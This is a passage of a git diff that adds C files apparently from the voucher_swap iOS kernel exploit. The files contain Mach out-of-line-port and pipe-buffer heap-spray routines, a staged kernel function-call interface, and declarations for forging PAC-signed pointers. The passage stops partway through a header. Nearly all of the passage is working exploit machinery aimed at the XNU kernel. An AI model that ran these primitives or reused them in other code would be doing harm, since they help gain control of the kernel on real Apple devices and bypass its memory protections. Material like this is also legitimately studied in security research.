+ msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count;
+ mach_msg_ool_ports_descriptor_t ool_descriptor = {};
+ ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ ool_descriptor.address = (void *) ool_ports;
+ ool_descriptor.count = (mach_msg_size_t) port_count;
+ ool_descriptor.deallocate = FALSE;
+ ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY;
+ ool_descriptor.disposition = ool_disposition;
+ for (size_t i = 0; i < ool_count; i++) {
+ msg->ool_ports[i] = ool_descriptor;
+ }
+ // Send the messages.
+ size_t messages_sent = 0;
+ for (; messages_sent < message_count; messages_sent++) {
+ kern_return_t kr = mach_msg(
+ &msg->header,
+ MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
+ (mach_msg_size_t) message_size,
+ 0,
+ MACH_PORT_NULL,
+ MACH_MSG_TIMEOUT_NONE,
+ MACH_PORT_NULL);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
+ break;
+ }
+ }
+ // Clean up the allocated ports.
+ if (alloc_ports != NULL) {
+ free(alloc_ports);
+ }
+ // Return the number of messages we sent.
+ return messages_sent;
+}
+
+/*
+ * kalloc_spray_compute_message_shape
+ *
+ * Description:
+ * Compute the shape of a message to maximally spray the specified kalloc zone. This spray is
+ * good for consuming memory, not for overwriting memory with specific contents.
+ */
+static void
+kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone,
+ size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) {
+ assert(kmsg_zone_size < kalloc_min);
+ assert(kalloc_min <= kalloc_zone);
+ // We always want to maximize the number of OOL port kalloc allocations per message, so let
+ // the message take up the a full zone element if needed.
+ size_t max_message_size = message_size_for_kalloc_size(kalloc_zone);
+ // Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message,
+ // we always want to send the minimum number of OOL ports in each descriptor (since adding
+ // more ports in a descriptor only counts against the limit without increasing the number
+ // of allocations). Thus, use the smallest number of ports that gets us at least
+ // kalloc_min.
+ size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t);
+ // How many OOL ports descriptors can we send per message? As many as we'd like, as long
+ // as:
+ // 1. we have space for them in the message, and
+ // 2. we don't blow through the max_ool_ports_per_message limit.
+ size_t max_ools_by_message_size =
+ (max_message_size - sizeof(mach_msg_base_t))
+ / sizeof(mach_msg_ool_ports_descriptor_t);
+ size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_;
+ size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit);
+ // Now that we know how many OOL ports descriptors we can send per message, let's calculate
+ // the message size. If the message size is too small, we'll just round it up.
+ size_t message_size_ = sizeof(mach_msg_base_t)
+ + ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t);
+ assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
+ if (kalloc_size_for_message_size(message_size_) < kalloc_min) {
+ size_t kalloc_min_rounded = (kalloc_min + 15) & ~15;
+ message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3;
+ }
+ assert(kalloc_min <= kalloc_size_for_message_size(message_size_));
+ assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
+ // Return the values.
+ *message_size = message_size_;
+ *ools_per_message = ools_per_message_;
+ *ports_per_ool = ports_per_ool_;
+}
+
+size_t
+kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
+ size_t kalloc_count) {
+ // First compute the message shape for spraying the specified zone.
+ size_t message_size, ools_per_message, ports_per_ool;
+ kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone,
+ &message_size, &ools_per_message, &ports_per_ool);
+ assert(min_kalloc_size <= kalloc_size_for_message_size(message_size));
+ assert(kalloc_size_for_message_size(message_size) <= kalloc_zone);
+ assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t));
+ assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone);
+ assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size);
+ // How many allocations does each message we send give us? Well, there's 1 allocation for
+ // the message and 1 allocation for each OOL ports descriptor.
+ size_t kallocs_per_message = 1 + ools_per_message;
+ // How many full/partial messages will we need to spray kalloc_count allocations? If the
+ // number of full messages is greater than the queue limit, truncate to that many messages.
+ size_t full_message_count = kalloc_count / kallocs_per_message;
+ size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message;
+ if (full_message_count >= MACH_PORT_QLIMIT_MAX) {
+ full_message_count = MACH_PORT_QLIMIT_MAX;
+ partial_message_kalloc_count = 0;
+ }
+ // Alright, so now we have all the parameters we need. Spray all the full messages to the
+ // port.
+ DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, "
+ "%zu ports per descriptor, %zu kallocs (%zu bytes) per message",
+ __func__, full_message_count, ools_per_message, ports_per_ool,
+ kallocs_per_message, kallocs_per_message * kalloc_zone);
+ size_t full_messages_sent = ool_ports_spray_port(
+ holding_port,
+ NULL,
+ ports_per_ool,
+ MACH_MSG_TYPE_MAKE_SEND,
+ ools_per_message,
+ message_size,
+ full_message_count);
+ size_t full_messages_kallocs = full_messages_sent * kallocs_per_message;
+ // If we sent all the full messages (indicating no errors were encountered) and we also
+ // want to send a partial message, send that.
+ size_t partial_message_kallocs = 0;
+ if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) {
+ size_t partial_message_ools = partial_message_kalloc_count - 1;
+ size_t partial_messages_sent = ool_ports_spray_port(
+ holding_port,
+ NULL,
+ ports_per_ool,
+ MACH_MSG_TYPE_MAKE_SEND,
+ partial_message_ools,
+ message_size,
+ 1);
+ partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count;
+ }
+ // Finally, return the total number of kallocs stashed in our port.
+ assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count);
+ return full_messages_kallocs + partial_message_kallocs;
+}
+
+size_t
+kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
+ size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) {
+ size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone;
+ size_t count = *port_count;
+ // Spray to each of the ports in turn.
+ size_t kallocs_left = kallocs_needed;
+ size_t ports_used = 0;
+ for (; ports_used < count && kallocs_left > 0; ports_used++) {
+ size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used],
+ min_kalloc_size, kalloc_zone, kallocs_left);
+ assert(kallocs_done <= kallocs_left);
+ kallocs_left -= kallocs_done;
+ }
+ // Compute how many kallocs were actually performed.
+ size_t kallocs_done = kallocs_needed - kallocs_left;
+ if (kallocs_left > 0) {
+ WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone);
+ }
+ // Return the number of ports actually used and the number of bytes actually sprayed.
+ *port_count = ports_used;
+ return kallocs_done * kalloc_zone;
+}
+
+mach_port_t *
+create_ports(size_t count) {
+ mach_port_t *ports = calloc(count, sizeof(*ports));
+ assert(ports != NULL);
+ mach_port_options_t options = {};
+ for (size_t i = 0; i < count; i++) {
+ kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
+ assert(kr == KERN_SUCCESS);
+ }
+ return ports;
+}
+
+void
+destroy_ports(mach_port_t *ports, size_t count) {
+ for (size_t i = 0; i < count; i++) {
+ mach_port_t port = ports[i];
+ if (MACH_PORT_VALID(port)) {
+ kern_return_t kr = mach_port_destroy(mach_task_self(), port);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_port_destroy",
+ kr, mach_error_string(kr));
+ }
+ }
+ ports[i] = MACH_PORT_DEAD;
+ }
+}
+
+void
+deallocate_ports(mach_port_t *ports, size_t count) {
+ for (size_t i = 0; i < count; i++) {
+ mach_port_t port = ports[i];
+ if (MACH_PORT_VALID(port)) {
+ kern_return_t kr = mach_port_deallocate(mach_task_self(), port);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_port_deallocate",
+ kr, mach_error_string(kr));
+ }
+ }
+ ports[i] = MACH_PORT_DEAD;
+ }
+}
+
+void
+port_increase_queue_limit(mach_port_t port) {
+ mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX };
+ kern_return_t kr = mach_port_set_attributes(
+ mach_task_self(),
+ port,
+ MACH_PORT_LIMITS_INFO,
+ (mach_port_info_t) &limits,
+ MACH_PORT_LIMITS_INFO_COUNT);
+ assert(kr == KERN_SUCCESS);
+}
+
+void
+port_insert_send_right(mach_port_t port) {
+ kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port,
+ MACH_MSG_TYPE_MAKE_SEND);
+ assert(kr == KERN_SUCCESS);
+}
+
+/*
+ * ool_ports_spray_size_with_gc_compute_parameters
+ *
+ * Description:
+ * Compute the spray parameters for ool_ports_spray_size_with_gc().
+ */
+static void
+ool_ports_spray_size_with_gc_compute_parameters(
+ size_t ports_per_ool, size_t message_size, size_t spray_size,
+ size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) {
+ // Each message will contain no more than gc_step bytes of OOL ports.
+ const size_t max_ool_memory_per_message = gc_step;
+ // How many OOL ports descriptors can we send per message? As many as we'd like, as long
+ // as:
+ // 1. we aren't sending more than gc_step bytes of OOL ports in a message,
+ // 2. we have space for them in the message, and
+ // 3. we don't blow through the max_ool_ports_per_message limit.
+ size_t ool_size_ = ports_per_ool * sizeof(uint64_t);
+ size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_;
+ size_t max_ools_by_message_size =
+ (message_size - sizeof(mach_msg_base_t))
+ / sizeof(mach_msg_ool_ports_descriptor_t);
+ size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool;
+ size_t ools_per_message_ = min(max_ools_by_memory,
+ min(max_ools_by_message_size, max_ools_by_port_limit));
+ // How many OOL port descriptors will we need to spray? Enough to fill all the requested
+ // memory.
+ size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_;
+ // Return the parameters.
+ *ool_size = ool_size_;
+ *ools_per_message = ools_per_message_;
+ *ools_needed = ools_needed_;
+}
+
+size_t
+ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
+ size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
+ mach_msg_type_name_t ool_disposition, size_t spray_size) {
+ // Compute the parameters for the spray.
+ size_t ool_size, ools_per_message, ools_needed;
+ ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size,
+ &ool_size, &ools_per_message, &ools_needed);
+ // Spray to each of the ports in turn until we've created the requisite number of OOL ports
+ // allocations.
+ ssize_t ools_left = ools_needed;
+ size_t sprayed = 0;
+ size_t next_gc_step = 0;
+ size_t port_count = *holding_port_count;
+ size_t ports_used = 0;
+ for (; ports_used < port_count && ools_left > 0; ports_used++) {
+ // Spray this port one message at a time until we've maxed out its queue.
+ size_t messages_sent = 0;
+ for (; messages_sent < (kCFCoreFoundationVersionNumber >= 1535.12 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) {
+ // If we've crossed the GC sleep boundary, sleep for a bit and schedule the
+ // next one.
+ if (sprayed >= next_gc_step) {
+ next_gc_step += gc_step;
+ pthread_yield_np();
+ usleep(10000);
+ fprintf(stderr, ".");
+ }
+ // Send a message.
+ size_t sent = ool_ports_spray_port(
+ holding_ports[ports_used],
+ ool_ports,
+ ool_port_count,
+ ool_disposition,
+ ools_per_message,
+ message_size,
+ 1);
+ // If we couldn't send a message to this port, stop trying to send more
+ // messages and move on to the next port.
+ if (sent != 1) {
+ assert(sent == 0);
+ break;
+ }
+ // We sent a full message worth of OOL port descriptors.
+ sprayed += ools_per_message * ool_size;
+ ools_left -= ools_per_message;
+ }
+ }
+ fprintf(stderr, "\n");
+ // Return the number of ports actually used and the number of bytes actually sprayed.
+ *holding_port_count = ports_used;
+ return sprayed;
+}
+
+void
+port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) {
+ kern_return_t kr;
+ mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT
+ | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
+ | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL);
+ // Allocate an initial message buffer.
+ mach_msg_size_t msg_size = 0x4000;
+ mach_msg_base_t *msg = malloc(msg_size);
+ assert(msg != NULL);
+ // Loop through all the messages queued on the port.
+ for (;;) {
+ // Try to receive the message. If the buffer isn't big enough, reallocate
+ // and try again. This should only happen twice.
+ for (size_t try = 0;; try++) {
+ assert(try < 2);
+ // Receive the message.
+ kr = mach_msg(
+ &msg->header,
+ options,
+ 0,
+ msg_size,
+ port,
+ 0,
+ MACH_PORT_NULL);
+ if (kr != MACH_RCV_LARGE) {
+ break;
+ }
+ // The buffer was too small, increase it.
+ msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options);
+ free(msg);
+ msg = malloc(msg_size);
+ assert(msg != NULL);
+ }
+ // If we got an error, stop processing messages on this port. If the error is a
+ // timeout, that means that we've exhausted the queue, so don't print an error
+ // message.
+ if (kr != KERN_SUCCESS) {
+ if (kr != MACH_RCV_TIMED_OUT) {
+ ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
+ }
+ break;
+ }
+ // Pass the message to the message handler.
+ message_handler(&msg->header);
+ }
+ // Clean up resources.
+ free(msg);
+}
+
+void
+port_discard_messages(mach_port_t port) {
+ port_drain_messages(port, ^(mach_msg_header_t *header) {
+ mach_msg_destroy(header);
+ });
+}
+
+void
+ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
+ void (^ool_ports_handler)(mach_port_t *, size_t)) {
+ // Loop through all the ports.
+ for (size_t port_index = 0; port_index < holding_port_count; port_index++) {
+ // Handle each message on the port.
+ port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) {
+ struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0;
+ // We've successfully received a message. Make sure it's the type we
+ // expect.
+ if (msg->header.msgh_id != 'ools') {
+ WARNING("received unexpected message id 0x%x",
+ msg->header.msgh_id);
+ goto done;
+ }
+ if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) {
+ WARNING("skipping non-complex message");
+ goto done;
+ }
+ // Go through the descriptors one at a time passing them to the handler
+ // block.
+ mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0];
+ for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) {
+ void *next;
+ switch (d->type.type) {
+ case MACH_MSG_OOL_PORTS_DESCRIPTOR:
+ next = &d->ool_ports + 1;
+ mach_port_t *ports = (mach_port_t *)
+ d->ool_ports.address;
+ size_t count = d->ool_ports.count;
+ ool_ports_handler(ports, count);
+ break;
+ default:
+ WARNING("unexpected descriptor type %u",
+ d->type.type);
+ goto done;
+ }
+ d = (mach_msg_descriptor_t *)next;
+ }
+done:
+ // Discard the message.
+ mach_msg_destroy(&msg->header);
+ });
+ }
+}
+
+void
+increase_file_limit() {
+ struct rlimit rl = {};
+ int error = getrlimit(RLIMIT_NOFILE, &rl);
+ assert(error == 0);
+ rl.rlim_cur = 10240;
+ rl.rlim_max = rl.rlim_cur;
+ error = setrlimit(RLIMIT_NOFILE, &rl);
+ if (error != 0) {
+ ERROR("could not increase file limit");
+ }
+ error = getrlimit(RLIMIT_NOFILE, &rl);
+ assert(error == 0);
+ if (rl.rlim_cur != 10240) {
+ ERROR("file limit is %llu", rl.rlim_cur);
+ }
+}
+
+void
+pipe_close(int pipefds[2]) {
+ close(pipefds[0]);
+ close(pipefds[1]);
+}
+
+/*
+ * set_nonblock
+ *
+ * Description:
+ * Set the O_NONBLOCK flag on the specified file descriptor.
+ */
+static void
+set_nonblock(int fd) {
+ int flags = fcntl(fd, F_GETFL);
+ flags |= O_NONBLOCK;
+ fcntl(fd, F_SETFL, flags);
+}
+
+int *
+create_pipes(size_t *pipe_count) {
+ // Allocate our initial array.
+ size_t capacity = *pipe_count;
+ int *pipefds = calloc(2 * capacity, sizeof(int));
+ assert(pipefds != NULL);
+ // Create as many pipes as we can.
+ size_t count = 0;
+ for (; count < capacity; count++) {
+ // First create our pipe fds.
+ int fds[2] = { -1, -1 };
+ int error = pipe(fds);
+ // Unfortunately pipe() seems to return success with invalid fds once we've
+ // exhausted the file limit. Check for this.
+ if (error != 0 || fds[0] < 0 || fds[1] < 0) {
+ pipe_close(fds);
+ break;
+ }
+ // Mark the write-end as nonblocking.
+ set_nonblock(fds[1]);
+ // Store the fds.
+ pipefds[2 * count + 0] = fds[0];
+ pipefds[2 * count + 1] = fds[1];
+ }
+ // Truncate the array to the smaller size.
+ int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
+ assert(new_pipefds != NULL);
+ // Return the count and the array.
+ *pipe_count = count;
+ return new_pipefds;
+}
+
+void
+close_pipes(int *pipefds, size_t pipe_count) {
+ for (size_t i = 0; i < pipe_count; i++) {
+ pipe_close(pipefds + 2 * i);
+ }
+}
+
+size_t
+pipe_spray(const int *pipefds, size_t pipe_count,
+ void *pipe_buffer, size_t pipe_buffer_size,
+ void (^update)(uint32_t pipe_index, void *data, size_t size)) {
+ assert(pipe_count <= 0xffffff);
+ assert(pipe_buffer_size > 512);
+ size_t write_size = pipe_buffer_size - 1;
+ size_t pipes_filled = 0;
+ for (size_t i = 0; i < pipe_count; i++) {
+ // Update the buffer.
+ if (update != NULL) {
+ update((uint32_t)i, pipe_buffer, pipe_buffer_size);
+ }
+ // Fill the write-end of the pipe with the buffer. Leave off the last byte.
+ int wfd = pipefds[2 * i + 1];
+ ssize_t written = write(wfd, pipe_buffer, write_size);
+ if (written != write_size) {
+ // This is most likely because we've run out of pipe buffer memory. None of
+ // the subsequent writes will work either.
+ break;
+ }
+ pipes_filled++;
+ }
+ return pipes_filled;
+}
diff --git a/kernel_call/kernel_alloc.h b/kernel_call/kernel_alloc.h
new file mode 100755
index 0000000..1c253db
--- /dev/null
+++ b/kernel_call/kernel_alloc.h
@@ -0,0 +1,291 @@
+/*
+ * kernel_alloc.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
+#define VOUCHER_SWAP__KERNEL_ALLOC_H_
+
+#include <mach/mach.h>
+#include <stddef.h>
+
+/*
+ * message_size_for_kalloc_size
+ *
+ * Description:
+ * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
+ * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
+ * could be slightly small.
+ */
+size_t message_size_for_kalloc_size(size_t kalloc_size);
+
+/*
+ * kalloc_size_for_message_size
+ *
+ * Description:
+ * Return the kalloc allocation size corresponding to sending a message of the specified size.
+ *
+ * This is only correct for messages large enough that the ipc_kmsg struct is allocated with
+ * kalloc().
+ */
+size_t kalloc_size_for_message_size(size_t message_size);
+
+/*
+ * ipc_kmsg_size_for_message_size
+ *
+ * Description:
+ * Return the allocation size of the ipc_kmsg for the given message size.
+ */
+size_t ipc_kmsg_size_for_message_size(size_t message_size);
+
+/*
+ * ool_ports_spray_port
+ *
+ * Description:
+ * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
+ * with the given ports. The goal is to spray the target kalloc zone with many copies of a
+ * particular array of OOL ports.
+ *
+ * Make sure that the port's queue limits are sufficient to hold the specified number of
+ * messages.
+ *
+ * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
+ * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
+ * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
+ * the OOL ports spray.
+ *
+ * There are limits on the number of OOL ports that can be sent in a message, the number of
+ * descriptors in a message, and the number of messages that can be queued on a port. Be sure
+ * that the parameters you supply are valid, since this function does not check whether or not
+ * the kernel will let your message through (or even whether they make sense).
+ *
+ * Parameters:
+ * holding_port The port on which to enqueue the Mach messages.
+ * ool_ports The OOL Mach ports to spray.
+ * port_count The number of OOL Mach ports.
+ * ool_disposition The disposition to send the OOL ports.
+ * ool_count The number of OOL ports descriptors to send per message.
+ * message_size The size of each message.
+ * message_count The number of messages to enqueue on the holding port.
+ *
+ * Returns:
+ * Returns the number of messages that were successfully sent.
+ */
+size_t ool_ports_spray_port(mach_port_t holding_port,
+ const mach_port_t *ool_ports, size_t port_count,
+ mach_msg_type_name_t ool_disposition, size_t ool_count,
+ size_t message_size, size_t message_count);
+
+/*
+ * kalloc_spray_port
+ *
+ * Description:
+ * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
+ * messages containing OOL ports to the specified holding port. Returns the number of kalloc
+ * allocations that were actually performed.
+ *
+ * The point of this function is to quickly make as many kalloc allocations in the target zone
+ * as possible using the specified holding port. The way we do this is by sending messages
+ * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
+ * struct for the message and the OOL port arrays fall into the target kalloc zone. We will
+ * continue sending messages to the port until either we've created the required number of
+ * allocations or we've filled up the port's message queue.
+ *
+ * To free the allocations, call mach_port_destroy() on the holding port. Note that this will
+ * also free the holding port if there are no other references.
+ *
+ * Parameters:
+ * holding_port The port on which to enqueue the Mach messages.
+ * min_kalloc_size The minimum sized allocation that is handled by this zone.
+ * kalloc_zone The kalloc zone in which to spray allocations.
+ * kalloc_count The desired number of allocations to make.
+ *
+ * Returns:
+ * Returns the number of kalloc allocations actually made, which may be less than the number
+ * requested if the port fills up or if an error is encountered.
+ */
+size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
+ size_t kalloc_count);
+
+/*
+ * kalloc_spray_size
+ *
+ * Description:
+ * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
+ * messages containing OOL ports to the given holding ports.
+ *
+ * See kalloc_spray_port().
+ *
+ * To free the allocations, call destroy_ports() on the holding ports. Note that
+ * destroy_ports() will also free the holding ports themselves if there are no other
+ * references.
+ *
+ * Parameters:
+ * holding_ports The array of holding ports.
+ * port_count inout On entry, the number of holding ports available. On exit,
+ * the number of holding ports used.
+ * min_kalloc_size The minimum sized allocation that is handled by this zone.
+ * kalloc_zone The kalloc zone in which to spray allocations.
+ * spray_size The number of bytes to try and spray to the target zone.
+ *
+ * Returns:
+ * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
+ * the requested size if an error is encountered or more than the requested size if the spray
+ * size was not an even multiple of the zone size.
+ */
+size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
+ size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
+
+/*
+ * ool_ports_spray_size_with_gc
+ *
+ * Description:
+ * Spray spray_size bytes of kernel memory with the specified out-of-line ports.
+ *
+ * Parameters:
+ * holding_ports The array of holding ports.
+ * holding_port_count inout On entry, the number of holding ports available. On exit,
+ * the number of holding ports used.
+ * message_size The size of each message to send. This parameter should be
+ * chosen carefully, as allocations will be taken out of the
+ * corresponding kalloc zone.
+ * ool_ports The OOL Mach ports to spray.
+ * ool_port_count The number of OOL Mach ports.
+ * ool_disposition The disposition to send the OOL ports.
+ * spray_size The number of bytes of OOL ports to try and spray.
+ *
+ * Returns:
+ * Returns the number of bytes of OOL ports actually sprayed.
+ */
+size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
+ size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
+ mach_msg_type_name_t ool_disposition, size_t spray_size);
+
+/*
+ * create_ports
+ *
+ * Description:
+ * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
+ * longer needed, deallocate it with free().
+ */
+mach_port_t *create_ports(size_t count);
+
+/*
+ * destroy_ports
+ *
+ * Description:
+ * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
+ */
+void destroy_ports(mach_port_t *ports, size_t count);
+
+/*
+ * deallocate_ports
+ *
+ * Description:
+ * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
+ */
+void deallocate_ports(mach_port_t *ports, size_t count);
+
+/*
+ * port_increase_queue_limit
+ *
+ * Description:
+ * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
+ */
+void port_increase_queue_limit(mach_port_t port);
+
+/*
+ * port_insert_send_right
+ *
+ * Description:
+ * Insert a send right on the specified port, which must name a receive right.
+ */
+void port_insert_send_right(mach_port_t port);
+
+/*
+ * port_drain_messages
+ *
+ * Description:
+ * Drain all the messages currently queued on the specified port. The messages are passed to
+ * the message_handler block, which is responsible for processing the messages and freeing any
+ * associated resources (e.g. with mach_msg_destroy()).
+ */
+void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
+
+/*
+ * port_discard_messages
+ *
+ * Description:
+ * Discard all the messages currently queued on the specified port. The messages are received
+ * and passed directly to mach_msg_destroy().
+ */
+void port_discard_messages(mach_port_t port);
+
+/*
+ * ool_ports_spray_receive
+ *
+ * Description:
+ * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
+ * the specified handler block. The messages are destroyed after they are processed.
+ */
+void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
+ void (^ool_ports_handler)(mach_port_t *, size_t));
+
+/*
+ * increase_file_limit
+ *
+ * Description:
+ * Increase our process's limit on the number of open files.
+ */
+void increase_file_limit(void);
+
+/*
+ * pipe_close
+ *
+ * Description:
+ * Close the file descriptors of a pipe.
+ */
+void pipe_close(int pipefds[2]);
+
+/*
+ * create_pipes
+ *
+ * Description:
+ * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
+ * on return it contains the number of pipes actually created.
+ *
+ * The pipes are returned as an array of file descriptors.
+ */
+int *create_pipes(size_t *pipe_count);
+
+/*
+ * close_pipes
+ *
+ * Description:
+ * Close the pipes in an array.
+ */
+void close_pipes(int *pipefds, size_t pipe_count);
+
+/*
+ * pipe_spray
+ *
+ * Description:
+ * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
+ * 16 MB, so that's the maximum we'll be able to spray.
+ *
+ * Note that the last byte of the sprayed data won't be written to memory!
+ *
+ * Parameters:
+ * pipefds The pipe file descriptors.
+ * pipe_count The number of pipe fd pairs.
+ * pipe_buffer The data to spray.
+ * pipe_buffer_size The size of the data to spray.
+ * update A callback to modify the data on each iteration.
+ *
+ * Returns:
+ * Returns the number of pipes actually filled.
+ */
+size_t pipe_spray(const int *pipefds, size_t pipe_count,
+ void *pipe_buffer, size_t pipe_buffer_size,
+ void (^update)(uint32_t pipe_index, void *data, size_t size));
+
+#endif
diff --git a/kernel_call/kernel_call.c b/kernel_call/kernel_call.c
new file mode 100755
index 0000000..f3bfad5
--- /dev/null
+++ b/kernel_call/kernel_call.c
@@ -0,0 +1,44 @@
+/*
+ * kernel_call.c
+ * Brandon Azad
+ */
+#include "kernel_call.h"
+
+#include <assert.h>
+
+#include "pac.h"
+#include "user_client.h"
+#include "log.h"
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+kernel_call_init() {
+ bool ok = stage1_kernel_call_init()
+ && stage2_kernel_call_init()
+ && stage3_kernel_call_init();
+ if (!ok) {
+ kernel_call_deinit();
+ }
+ return ok;
+}
+
+void
+kernel_call_deinit() {
+ stage3_kernel_call_deinit();
+ stage2_kernel_call_deinit();
+ stage1_kernel_call_deinit();
+}
+
+uint32_t
+kernel_call_7(uint64_t function, size_t argument_count, ...) {
+ assert(argument_count <= 7);
+ uint64_t arguments[7];
+ va_list ap;
+ va_start(ap, argument_count);
+ for (size_t i = 0; i < argument_count && i < 7; i++) {
+ arguments[i] = va_arg(ap, uint64_t);
+ }
+ va_end(ap);
+ return kernel_call_7v(function, argument_count, arguments);
+}
diff --git a/kernel_call/kernel_call.h b/kernel_call/kernel_call.h
new file mode 100755
index 0000000..5199fdc
--- /dev/null
+++ b/kernel_call/kernel_call.h
@@ -0,0 +1,93 @@
+/*
+ * kernel_call.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL_H_
+#define VOUCHER_SWAP__KERNEL_CALL_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/*
+ * kernel_call_init
+ *
+ * Description:
+ * Initialize kernel_call functions.
+ */
+bool kernel_call_init(void);
+
+/*
+ * kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize the kernel call subsystem and restore the kernel to a safe state.
+ */
+void kernel_call_deinit(void);
+
+/*
+ * kernel_call_7
+ *
+ * Description:
+ * Call a kernel function with the specified arguments.
+ *
+ * Restrictions:
+ * See kernel_call_7v().
+ */
+uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
+
+/*
+ * kernel_call_7v
+ *
+ * Description:
+ * Call a kernel function with the specified arguments.
+ *
+ * Restrictions:
+ * At most 7 arguments can be passed.
+ * arguments[0] must be nonzero.
+ * The return value is truncated to 32 bits.
+ */
+uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
+
+/*
+ * kernel_forge_pacia
+ *
+ * Description:
+ * Forge a PACIA pointer using the kernel forging gadget.
+ */
+uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
+
+/*
+ * kernel_forge_pacia_with_type
+ *
+ * Description:
+ * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
+ * type code, as context.
+ */
+uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
+
+/*
+ * kernel_forge_pacda
+ *
+ * Description:
+ * Forge a PACDA pointer using the kernel forging gadget.
+ */
+uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
+
+/*
+ * kernel_xpaci
+ *
+ * Description:
